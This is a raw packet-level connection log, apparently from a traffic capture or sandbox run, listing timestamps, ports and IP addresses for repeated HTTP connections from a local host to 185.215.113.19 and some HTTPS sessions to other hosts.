Sep 1, 2024 02:48:51.438277960 CEST	49829	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:51.494581938 CEST	49832	443	192.168.2.4	152.195.19.97
Sep 1, 2024 02:48:51.494596004 CEST	443	49832	152.195.19.97	192.168.2.4
Sep 1, 2024 02:48:51.494695902 CEST	49832	443	192.168.2.4	152.195.19.97
Sep 1, 2024 02:48:51.494986057 CEST	49832	443	192.168.2.4	152.195.19.97
Sep 1, 2024 02:48:51.494995117 CEST	443	49832	152.195.19.97	192.168.2.4
Sep 1, 2024 02:48:51.564903975 CEST	49829	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:51.565270901 CEST	49833	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:51.570238113 CEST	80	49829	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:51.570391893 CEST	49829	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:51.570471048 CEST	80	49833	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:51.570553064 CEST	49833	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:51.570746899 CEST	49833	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:51.575751066 CEST	80	49833	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:52.054192066 CEST	443	49832	152.195.19.97	192.168.2.4
Sep 1, 2024 02:48:52.054452896 CEST	49832	443	192.168.2.4	152.195.19.97
Sep 1, 2024 02:48:52.054461956 CEST	443	49832	152.195.19.97	192.168.2.4
Sep 1, 2024 02:48:52.055319071 CEST	443	49832	152.195.19.97	192.168.2.4
Sep 1, 2024 02:48:52.055377960 CEST	49832	443	192.168.2.4	152.195.19.97
Sep 1, 2024 02:48:52.056458950 CEST	49832	443	192.168.2.4	152.195.19.97
Sep 1, 2024 02:48:52.056518078 CEST	443	49832	152.195.19.97	192.168.2.4
Sep 1, 2024 02:48:52.056720972 CEST	49832	443	192.168.2.4	152.195.19.97
Sep 1, 2024 02:48:52.056725979 CEST	443	49832	152.195.19.97	192.168.2.4
Sep 1, 2024 02:48:52.105287075 CEST	49832	443	192.168.2.4	152.195.19.97
Sep 1, 2024 02:48:52.153892994 CEST	443	49832	152.195.19.97	192.168.2.4
Sep 1, 2024 02:48:52.154787064 CEST	443	49832	152.195.19.97	192.168.2.4
Sep 1, 2024 02:48:52.154793978 CEST	443	49832	152.195.19.97	192.168.2.4
Sep 1, 2024 02:48:52.154836893 CEST	443	49832	152.195.19.97	192.168.2.4
Sep 1, 2024 02:48:52.154853106 CEST	443	49832	152.195.19.97	192.168.2.4
Sep 1, 2024 02:48:52.154869080 CEST	49832	443	192.168.2.4	152.195.19.97
Sep 1, 2024 02:48:52.155049086 CEST	49832	443	192.168.2.4	152.195.19.97
Sep 1, 2024 02:48:52.158997059 CEST	49832	443	192.168.2.4	152.195.19.97
Sep 1, 2024 02:48:52.159006119 CEST	443	49832	152.195.19.97	192.168.2.4
Sep 1, 2024 02:48:52.312293053 CEST	80	49833	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:52.312349081 CEST	49833	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:52.313373089 CEST	49833	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:52.318222046 CEST	80	49833	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:52.558376074 CEST	80	49833	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:52.558434010 CEST	49833	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:52.684613943 CEST	49833	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:52.684891939 CEST	49834	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:52.689692974 CEST	80	49834	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:52.689749956 CEST	49834	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:52.689891100 CEST	80	49833	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:52.689898968 CEST	49834	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:52.689934015 CEST	49833	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:52.694698095 CEST	80	49834	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:52.702155113 CEST	49835	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:52.702172995 CEST	443	49835	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:52.702330112 CEST	49835	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:52.702486992 CEST	49836	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:52.702516079 CEST	443	49836	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:52.702632904 CEST	49835	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:52.702650070 CEST	443	49835	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:52.702704906 CEST	49836	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:52.702878952 CEST	49836	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:52.702891111 CEST	443	49836	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.164308071 CEST	443	49835	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.164541960 CEST	49835	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.164550066 CEST	443	49835	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.164828062 CEST	443	49835	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.165380001 CEST	49835	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.165437937 CEST	443	49835	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.177689075 CEST	443	49836	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.178071976 CEST	49836	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.178082943 CEST	443	49836	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.178417921 CEST	443	49836	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.178746939 CEST	49836	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.178816080 CEST	443	49836	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.214628935 CEST	49835	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.230258942 CEST	49836	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.438477039 CEST	80	49834	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:53.438530922 CEST	49834	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:53.439146042 CEST	49834	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:53.444034100 CEST	80	49834	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:53.804714918 CEST	80	49834	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:53.804779053 CEST	49834	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:53.918329000 CEST	49834	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:53.918678045 CEST	49839	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:53.927125931 CEST	80	49839	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:53.927191973 CEST	49839	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:53.927345991 CEST	49839	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:53.927517891 CEST	80	49834	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:53.927561998 CEST	49834	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:53.932161093 CEST	80	49839	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:54.682857037 CEST	80	49839	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:54.682917118 CEST	49839	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:54.683568954 CEST	49839	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:54.688354015 CEST	80	49839	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:54.932214022 CEST	80	49839	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:54.932296991 CEST	49839	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:55.043242931 CEST	49839	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:55.043612003 CEST	49840	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:55.048365116 CEST	80	49839	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:55.048472881 CEST	49839	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:55.048737049 CEST	80	49840	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:55.048932076 CEST	49840	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:55.048932076 CEST	49840	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:55.057156086 CEST	80	49840	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:55.802963972 CEST	80	49840	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:55.803034067 CEST	49840	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:55.803704977 CEST	49840	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:55.808727980 CEST	80	49840	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:55.910593033 CEST	49841	443	192.168.2.4	52.165.165.26
Sep 1, 2024 02:48:55.910625935 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:55.910691023 CEST	49841	443	192.168.2.4	52.165.165.26
Sep 1, 2024 02:48:55.911303043 CEST	49841	443	192.168.2.4	52.165.165.26
Sep 1, 2024 02:48:55.911314964 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:56.051522017 CEST	80	49840	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:56.051583052 CEST	49840	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:56.152765989 CEST	49840	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:56.153038979 CEST	49842	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:56.157890081 CEST	80	49840	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:56.157977104 CEST	49840	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:56.158175945 CEST	80	49842	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:56.158266068 CEST	49842	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:56.158427000 CEST	49842	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:56.163223982 CEST	80	49842	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:56.599107981 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:56.599178076 CEST	49841	443	192.168.2.4	52.165.165.26
Sep 1, 2024 02:48:56.602395058 CEST	49841	443	192.168.2.4	52.165.165.26
Sep 1, 2024 02:48:56.602401972 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:56.602600098 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:56.616240025 CEST	49841	443	192.168.2.4	52.165.165.26
Sep 1, 2024 02:48:56.660496950 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:56.868099928 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:56.868118048 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:56.868129969 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:56.868227959 CEST	49841	443	192.168.2.4	52.165.165.26
Sep 1, 2024 02:48:56.868237972 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:56.868289948 CEST	49841	443	192.168.2.4	52.165.165.26
Sep 1, 2024 02:48:56.869050026 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:56.869098902 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:56.869132996 CEST	49841	443	192.168.2.4	52.165.165.26
Sep 1, 2024 02:48:56.869137049 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:56.869167089 CEST	49841	443	192.168.2.4	52.165.165.26
Sep 1, 2024 02:48:56.869540930 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:56.869950056 CEST	49841	443	192.168.2.4	52.165.165.26
Sep 1, 2024 02:48:56.895584106 CEST	49841	443	192.168.2.4	52.165.165.26
Sep 1, 2024 02:48:56.895584106 CEST	49841	443	192.168.2.4	52.165.165.26
Sep 1, 2024 02:48:56.895592928 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:56.895601034 CEST	443	49841	52.165.165.26	192.168.2.4
Sep 1, 2024 02:48:56.916181087 CEST	80	49842	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:56.916609049 CEST	49842	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:56.924199104 CEST	49842	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:56.929075956 CEST	80	49842	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:57.174242020 CEST	80	49842	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:57.174576998 CEST	49842	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:57.291906118 CEST	49842	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:57.292047024 CEST	49843	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:57.296924114 CEST	80	49843	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:57.297100067 CEST	80	49842	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:57.297130108 CEST	49843	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:57.297130108 CEST	49843	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:57.297188997 CEST	49842	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:57.301919937 CEST	80	49843	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:58.036016941 CEST	80	49843	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:58.036084890 CEST	49843	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:58.079521894 CEST	49843	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:58.084328890 CEST	80	49843	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:58.325192928 CEST	80	49843	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:58.325273991 CEST	49843	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:58.434319019 CEST	49843	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:58.434839010 CEST	49844	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:58.439943075 CEST	80	49843	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:58.440102100 CEST	49843	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:58.440321922 CEST	80	49844	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:58.440391064 CEST	49844	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:58.440500021 CEST	49844	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:58.445637941 CEST	80	49844	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:59.187427044 CEST	80	49844	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:59.187517881 CEST	49844	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:59.191881895 CEST	49844	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:59.196693897 CEST	80	49844	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:59.438112974 CEST	80	49844	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:59.438286066 CEST	49844	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:59.568249941 CEST	49844	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:59.568273067 CEST	49845	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:59.576555014 CEST	80	49845	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:59.576668978 CEST	49845	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:59.577035904 CEST	80	49844	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:59.577446938 CEST	49844	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:59.588509083 CEST	49845	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:59.593307972 CEST	80	49845	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:00.332685947 CEST	80	49845	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:00.332751036 CEST	49845	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:00.333362103 CEST	49845	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:00.338992119 CEST	80	49845	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:00.582875013 CEST	80	49845	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:00.583097935 CEST	49845	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:00.699354887 CEST	49845	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:00.699672937 CEST	49846	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:00.704360008 CEST	80	49845	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:00.704432964 CEST	49845	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:00.704643965 CEST	80	49846	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:00.704720020 CEST	49846	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:00.704880953 CEST	49846	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:00.709727049 CEST	80	49846	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:01.442142010 CEST	80	49846	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:01.447381973 CEST	49846	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:01.447381973 CEST	49846	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:01.452176094 CEST	80	49846	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:01.692179918 CEST	80	49846	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:01.692420006 CEST	49846	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:01.794563055 CEST	49846	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:01.794910908 CEST	49847	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:01.799732924 CEST	80	49846	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:01.799786091 CEST	49846	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:01.800070047 CEST	80	49847	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:01.800137043 CEST	49847	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:01.800261974 CEST	49847	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:01.805339098 CEST	80	49847	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:02.540719032 CEST	80	49847	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:02.540807009 CEST	49847	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:02.543498039 CEST	49847	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:02.548377991 CEST	80	49847	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:02.790427923 CEST	80	49847	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:02.790586948 CEST	49847	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:02.903863907 CEST	49847	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:02.904284000 CEST	49848	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:03.013062000 CEST	80	49848	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:03.013283014 CEST	80	49847	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:03.013355970 CEST	49847	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:03.013379097 CEST	49848	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:03.013634920 CEST	49848	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:03.018424034 CEST	80	49848	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:03.805780888 CEST	80	49848	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:03.806102037 CEST	49848	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:04.040149927 CEST	49848	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:04.044965982 CEST	80	49848	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:04.059268951 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:49:04.064419031 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:49:04.064578056 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:49:04.292263031 CEST	80	49848	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:04.292330027 CEST	49848	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:04.420439005 CEST	49848	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:04.420949936 CEST	49849	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:04.425506115 CEST	80	49848	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:04.425578117 CEST	49848	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:04.426203012 CEST	80	49849	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:04.426302910 CEST	49849	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:04.426476002 CEST	49849	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:04.431531906 CEST	80	49849	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:05.186767101 CEST	80	49849	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:05.186825991 CEST	49849	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:05.189656973 CEST	49849	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:05.189907074 CEST	49850	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:05.194859982 CEST	80	49850	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:05.194936037 CEST	49850	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:05.195110083 CEST	80	49849	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:05.195161104 CEST	49849	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:05.195225954 CEST	49850	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:05.200211048 CEST	80	49850	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:05.945496082 CEST	80	49850	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:05.945593119 CEST	49850	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:06.086617947 CEST	49850	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:06.087043047 CEST	49851	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:06.091876984 CEST	80	49850	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:06.091928005 CEST	80	49851	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:06.091947079 CEST	49850	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:06.092223883 CEST	49851	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:06.092768908 CEST	49851	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:06.102427006 CEST	80	49851	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:06.271601915 CEST	443	49831	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:06.271665096 CEST	443	49831	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:06.272059917 CEST	443	49830	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:06.272110939 CEST	49831	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:06.272244930 CEST	443	49830	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:06.272303104 CEST	49830	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:06.842897892 CEST	80	49851	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:06.842955112 CEST	49851	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:06.846169949 CEST	49851	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:06.846507072 CEST	49852	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:06.851430893 CEST	80	49852	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:06.851512909 CEST	49852	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:06.851608992 CEST	49852	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:06.854157925 CEST	80	49851	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:06.854199886 CEST	49851	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:06.856471062 CEST	80	49852	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:07.622580051 CEST	80	49852	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:07.622646093 CEST	49852	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:07.735316992 CEST	49852	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:07.735805988 CEST	49853	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:07.740443945 CEST	80	49852	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:07.740516901 CEST	49852	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:07.740883112 CEST	80	49853	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:07.740998983 CEST	49853	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:07.741422892 CEST	49853	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:07.746186972 CEST	80	49853	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:07.750936031 CEST	49853	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:07.755197048 CEST	49854	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:07.759982109 CEST	80	49854	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:07.760051012 CEST	49854	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:07.760310888 CEST	49854	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:07.765357018 CEST	80	49854	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:08.071341991 CEST	443	49835	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:08.071410894 CEST	443	49835	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:08.071718931 CEST	49835	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:08.084649086 CEST	443	49836	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:08.084722996 CEST	443	49836	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:08.084775925 CEST	49836	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:08.517893076 CEST	80	49854	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:08.520602942 CEST	49854	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:08.640144110 CEST	49854	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:08.640500069 CEST	49855	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:08.645358086 CEST	80	49855	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:08.645427942 CEST	49855	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:08.645556927 CEST	80	49854	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:08.645643950 CEST	49855	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:08.645664930 CEST	49854	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:08.650528908 CEST	80	49855	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:08.652277946 CEST	49855	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:08.654652119 CEST	49856	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:08.659503937 CEST	80	49856	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:08.659575939 CEST	49856	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:08.659790039 CEST	49856	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:08.675107956 CEST	80	49856	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:09.408638954 CEST	80	49856	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:09.408823967 CEST	49856	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:09.526537895 CEST	49792	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:49:09.526578903 CEST	443	49792	142.250.80.110	192.168.2.4
Sep 1, 2024 02:49:09.656141996 CEST	49856	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:09.656418085 CEST	49857	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:09.661298990 CEST	80	49856	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:09.661350965 CEST	49856	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:09.661506891 CEST	80	49857	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:09.661621094 CEST	49857	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:09.663979053 CEST	49857	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:09.668787956 CEST	80	49857	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:09.700423956 CEST	49793	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:49:09.700447083 CEST	443	49793	142.250.80.110	192.168.2.4
Sep 1, 2024 02:49:10.402956009 CEST	80	49857	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:10.403024912 CEST	49857	80	192.168.2.4	185.215.113.19
